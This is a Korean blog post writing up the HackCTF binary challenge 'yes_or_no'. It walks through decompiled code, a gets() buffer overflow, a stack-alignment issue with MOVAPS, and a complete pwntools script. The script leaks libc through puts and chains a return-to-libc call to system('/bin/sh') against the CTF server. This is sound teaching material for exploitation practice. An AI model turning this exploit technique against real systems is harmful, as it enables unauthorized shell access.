ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [hackctf] yes_or_no
    hackctf 2021. 7. 29. 01:10

    문제

    문제 바이너리 실행

    문제 파일을 다운받아 실행해보니 Show me your number~! 라는 문구를 출력하고 사용자로부터 입력을 받습니다.

    1234 를 입력하니 All I can say to you is "do_system+1094" 를 출력해주며 종료합니다.

    아이다를 사용하여 코드를 확인해보겠습니다.

     

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      int v3; // eax
      int v4; // eax
      int v5; // ecx
      int v6; // eax
      int v7; // eax
      char s; // [rsp+Eh] [rbp-12h]
      int v10; // [rsp+18h] [rbp-8h]
      int v11; // [rsp+1Ch] [rbp-4h]
    
      setvbuf(stdout, 0LL, 2, 0LL);
      v11 = 5;
      puts("Show me your number~!");
      fgets(&s, 10, stdin);
      v10 = atoi(&s);
      if ( (v11 - 10) >> 3 < 0 )
      {
        v4 = 0;
      }
      else
      {
        v3 = v11++;
        v4 = v10 - v3;
      }
      if ( v4 == v10 )
      {
        puts("Sorry. You can't come with us");
      }
      else
      {
        v5 = 1204 / ++v11;
        v6 = v11++;
        if ( v10 == (v6 * v5) << (++v11 % 20 + 5) )
        {
          puts("That's cool. Follow me");
          gets(&s);
        }
        else
        {
          v7 = v11--;
          if ( v10 == v7 )
          {
            printf("Why are you here?");
            return 0;
          }
          puts("All I can say to you is \"do_system+1094\".\ngood luck");
        }
      }
      return 0;
    }

    조건문들을 만족시키면 That's cool. Follow me 가 출력되고 gets 함수를 사용하여 사용자로부터 입력을 받습니다. 취약한 함수인 gets 를 통해서 buffer overflow 가 가능할 것으로 보입니다.

     

    보호기법으로는 NX bits 와 Partial RELRO 가 걸려있는 것으로 확인 됩니다. RTL 기법을 사용하여 Exploit 을 하면 될 것 같습니다.

     

    풀이

    우선 gdb를 사용하여 조건문을 만족시킬 수 있는 입력 값을 찾아보겠습니다.

    조건문을 통과하여 사용자로부터 입력 값을 받는 gets 함수 전에 있는 조건문을 확인해보면 main+237 지점에서 eax와 [rbp-0x8] 을 비교합니다. 이 시점에 브레이크 포인트를 걸어서 eax 에 있는 값을 확인해보도록 하겠습니다.

     

    rax 레지스터의 값을 확인해보면 0x960000 인걸 확인했습니다. 0x960000 의 10진수인 9830400 을 입력해주면 조건문을 통과할 수 있을 것으로 보입니다. 다음으로 gets 함수를 이용하여 RTL 을 해보도록 하겠습니다.

     

    libc_base  system 함수의 주소, /bin/sh 문자열의 주소를 구하기 위해서 gdb를 사용하여 함수들의 offset을 구하도록 하겠습니다.

     

    print 명령어를 사용하여 위에서 부터 차례대로 system_offset, gets_offset, binsh_offset 입니다. 이제 exploit 코드를 작성하여 libcbase 주소를 구하고 RTL 기법을 사용하여 exploit 해보도록 하겠습니다.

     

    RTL을 하기전에 이 문제에서는 stack alignment  MOVAPS 명령어에 대해서 알고 있어야 합니다.

    MOVAPS 명령어는 XMM 레지스터끼리 혹은 XMM 레지스터와 메모리 사이에서 double quadword( 16byte ) 크기의 데이터를 옮기는 인스트럭션인데, 메모리의 align이 맞지 않으면 general protection( #GP / SIGSEGV ) fault 를 발생시킵니다. 그리고 Ubuntu 18.04부터 이 movaps 인스트럭션이 do_system()을 포함한 여러 멀티미디어 오퍼레이션에 추가되어 exploit을 작성할 때 stack alignment를 신경 써야 합니다.

     

    이 문제의 코드를 보면 All I can say to you is "do_system+1094" 라고 힌트를 줬습니다. gdb 를 사용하여 확인해보면 해당 위치에서 movaps 명령어를 사용하기 때문에 stack alignment 를 맞춰주어 exploit을 해야합니다.

     

    Exploit Code

    from pwn import *
    
    context.log_level='DEBUG'
    
    p = remote("ctf.j0n9hyun.xyz", 3009)
    #p = process("./yes_or_no", env={'LD_PRELOAD':'./libc-2.27.so'})
    #gdb.attach(p)
    
    
    system_offset = 0x4f440
    binsh_offset = 0x1b3e9a
    
    puts_plt = p64(0x0000000000400580)
    puts_got = p64(0x601018)
    
    gets_plt = p64(0x00000000004005b0)
    gets_got = p64(0x601030)
    gets_offset = 0x00000000000800b0
    
    popret = p64(0x400883)
    ret = p64(0x0040056e)
    
    p.recvuntil("Show me your number~!\n")
    
    p.sendline("9830400")
    
    p.recvuntil("That's cool. Follow me\n")
    
    payload2 = ""
    payload2 += "A" * 0x1a
    payload2 += popret
    payload2 += gets_got
    payload2 += puts_plt
    payload2 += p64(0x00000000004006c7)
    
    p.sendline(payload2)
    
    gets = p.recv(6)
    print gets
    
    gets += "\x00\x00"
    libcbase = u64(gets) - gets_offset
    print libcbase
    system_addr = libcbase + system_offset
    print system_addr
    binsh = libcbase + binsh_offset
    
    p.recvuntil("Show me your number~!\n")
    
    p.sendline("9830400")
    
    p.recvuntil("That's cool. Follow me\n")
    
    payload = ""
    payload += "A" * 0x1a
    payload += ret
    payload += popret
    payload += p64(binsh)
    payload += p64(system_addr)
    
    p.sendline(payload)
    
    p.interactive()

    위 exploit 코드를 사용하여 성공적으로 flag 값을 획득할 수 있었습니다.

     

    알게된 내용

    MOVAPS 명령어와 Stack Alignment 에 대해서 공부할 수 있었고, pwntools의 gdb attach 기능을 처음 사용하여 동적 디버깅 연습하는 좋은 경험이었습니다. 분석할 때 동적 디버깅의 필요성을 다시 한번 느끼게 되었습니다.

     

    References

    https://hackyboiz.github.io/2020/12/06/fabu1ous/x64-stack-alignment/

    'hackctf' 카테고리의 다른 글

    [hackctf] rtlcore 풀이  (0) 2021.09.08
    [hackctf] g++pwn 풀이  (0) 2021.08.12
    [hackctf] rtl_world  (0) 2021.08.09
    [hackctf] rtc  (0) 2021.07.26

    댓글

Designed by Tistory.